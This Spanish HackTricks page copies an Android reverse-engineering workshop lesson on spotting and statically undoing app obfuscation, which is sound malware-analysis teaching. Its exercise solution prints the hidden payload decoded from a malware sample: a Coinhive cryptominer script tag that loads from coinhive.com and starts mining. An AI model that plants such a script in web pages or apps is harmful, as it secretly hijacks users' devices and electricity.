11 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Copiado de https://maddiestone.github.io/AndroidAppRE/obfuscation.html (puedes encontrar soluciones allí)
Hay muchas veces en las que la aplicación que estás revirtiendo no será tan directa como algunos de los ejemplos que hemos discutido. El desarrollador implementará una o más técnicas de ofuscación para ocultar el comportamiento y/o la implementación de su aplicación. Esto puede ser por razones benignas y maliciosas.
Lo clave sobre la ofuscación es recordar que si quieres desofuscarla, podrás hacerlo. La decisión clave no es si puedes o no, sino si vale la pena los recursos para desofuscarla.
La razón por la que siempre puedes desofuscar algo es porque en última instancia, la CPU en algún momento tiene que ver el código no ofuscado para ejecutarlo.
Cómo desofuscar
Cómo elijas desofuscar la aplicación dependerá del método de ofuscación, pero hay un par de técnicas comunes que suelen funcionar bien. Aquí, solo tocaremos las técnicas de desofuscación estática ya que este taller solo cubre el análisis/reversión estática. Sin embargo, recuerda que ejecutar la aplicación y analizarla dinámicamente puede ser otra gran manera de superar la ofuscación.
Para la ofuscación en el bytecode DEX (Java), una de las formas más fáciles de desofuscar estáticamente es identificar los métodos de desofuscación en la aplicación y copiar su descompilación en un archivo Java que luego se ejecuta en el archivo, cadenas, código, etc. ofuscados.
Otra solución tanto para Java como para código nativo es transliterar el algoritmo de desofuscación a Python o cualquier otro lenguaje de script con el que te sientas más cómodo. Digo "transliterar" porque es importante recordar que no siempre necesitas *entender* el algoritmo de desofuscación, solo necesitas una forma de ejecutarlo. Cubro esto con más detalle en la charla "Desempaquetando el desempaquetador empaquetado" que está vinculada en la sección "Más ejemplos".
Indicadores de ofuscación
Hay muchos tipos diferentes de ofuscación y, por lo tanto, tantos tipos diferentes de indicadores para alertarte como analista de que es probable que una aplicación esté ofuscada, pero aquí hay algunos ejemplos con soluciones de análisis estático propuestas para desofuscar.
- Sin cadenas: Java y Android dependen en gran medida de las cadenas, por lo que si no ves ninguna o solo cadenas enmascaradas, es muy probable que las cadenas estén ofuscadas.
- Solución sugerida: Busca llamadas de método que tomen cadenas como argumento y rastrea de dónde proviene ese argumento. En algún momento, el argumento de cadena pasará por un método de desofuscación antes de que se pase a la API que toma el argumento de cadena.
- Cadenas enmascaradas: Las API de Java y Android requieren las cadenas de texto plano, no enmascaradas.
- Solución sugerida: Es probable que todas las cadenas enmascaradas se pasen a los mismos métodos antes de pasar a las API. Estos métodos son probablemente los métodos de desofuscación.
- Archivos binarios en el directorio assets/ y llamadas DexClassLoader en la aplicación: Probablemente desempaquetando y cargando código adicional. (También podría estar descargando desde una ubicación remota y luego cargando usando DexClassLoader)
- Solución sugerida: Identifica dónde se lee el archivo y luego sigue el camino. Es probable que se desofusque rápidamente después de ser leído.
- Bibliotecas nativas: no se pueden identificar las funciones JNI (no hay funciones llamadas Java_ y no hay llamadas a RegisterNatives): Para ejecutar cualquier método nativo, JNI tiene que poder emparejar la función en la biblioteca nativa con la declaración del método nativo en Java y, por lo tanto, uno de los dos debe existir en algún momento.
- Solución sugerida: Comienza en el método JNI_OnLoad y busca una rutina de desofuscación que cargue código adicional.
Ejercicio 7 - Desofuscación de cadenas
En este ejercicio, practicaremos la desofuscación de cadenas para analizar una aplicación. Para el ejercicio, usaremos la muestra en ~/samples/ClashOfLights.apk
en la VM. Esta muestra tiene el resumen SHA256 c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5.
Objetivos
Identificar cadenas ofuscadas y desarrollar una solución para desofuscarla.
Contexto del ejercicio
Eres un analista de malware que revisa esta aplicación para determinar si es malware. Te encuentras con una cadena de Javascript ofuscada que se está cargando y necesitas desofuscarla para determinar si la aplicación es maliciosa. No puedes ejecutar la aplicación dinámicamente y necesitas determinar estáticamente qué es el Javascript.
Instrucciones
- Encuentra la cadena que necesitas desofuscar
- Identifica la rutina que la desofusca.
- Determina cómo quieres escribir una solución para desofuscar la cadena.
- ¡Hazlo! :)
Solución
La cadena desofuscada es:
<script src="https://coinhive.com/lib/coinhive.min.js"></script><script>var miner = new CoinHive.Anonymous('nf24ZwEMmu0m1X6MgcOv48AMsIYErpFE', {threads: 2});miner.start();</script>
El script de Python que escribí para desofuscarlo es:
enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"
length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str
key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)
Más ejemplos
He dado algunas charlas sobre la desofuscación de aplicaciones de Android que incluyen una variedad de mecanismos de ofuscación. En estas charlas, discuto las técnicas avanzadas de ofuscación, mi solución para desofuscarlas, y las consideraciones y decisiones que tomé al decidir cómo quería desofuscar.
- BlackHat USA 2018: "Desempaquetando el Desempaquetador Empaquetado: Ingeniería Inversa de una Biblioteca Anti-Análisis de Android" [video]
- Esta charla trata sobre la ingeniería inversa de una de las bibliotecas nativas de anti-análisis más complejas que he visto utilizadas por una aplicación de Android. Cubre principalmente técnicas de ofuscación en código nativo.
- REcon 2019: "El camino hacia la carga útil: Edición de Android" [video]
- Esta charla discute una serie de técnicas de ofuscación, únicamente en código Java, que una botnet de Android estaba utilizando para ocultar su comportamiento.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿o quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre La Familia PEASS, nuestra colección de exclusivos NFTs
-
Consigue el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.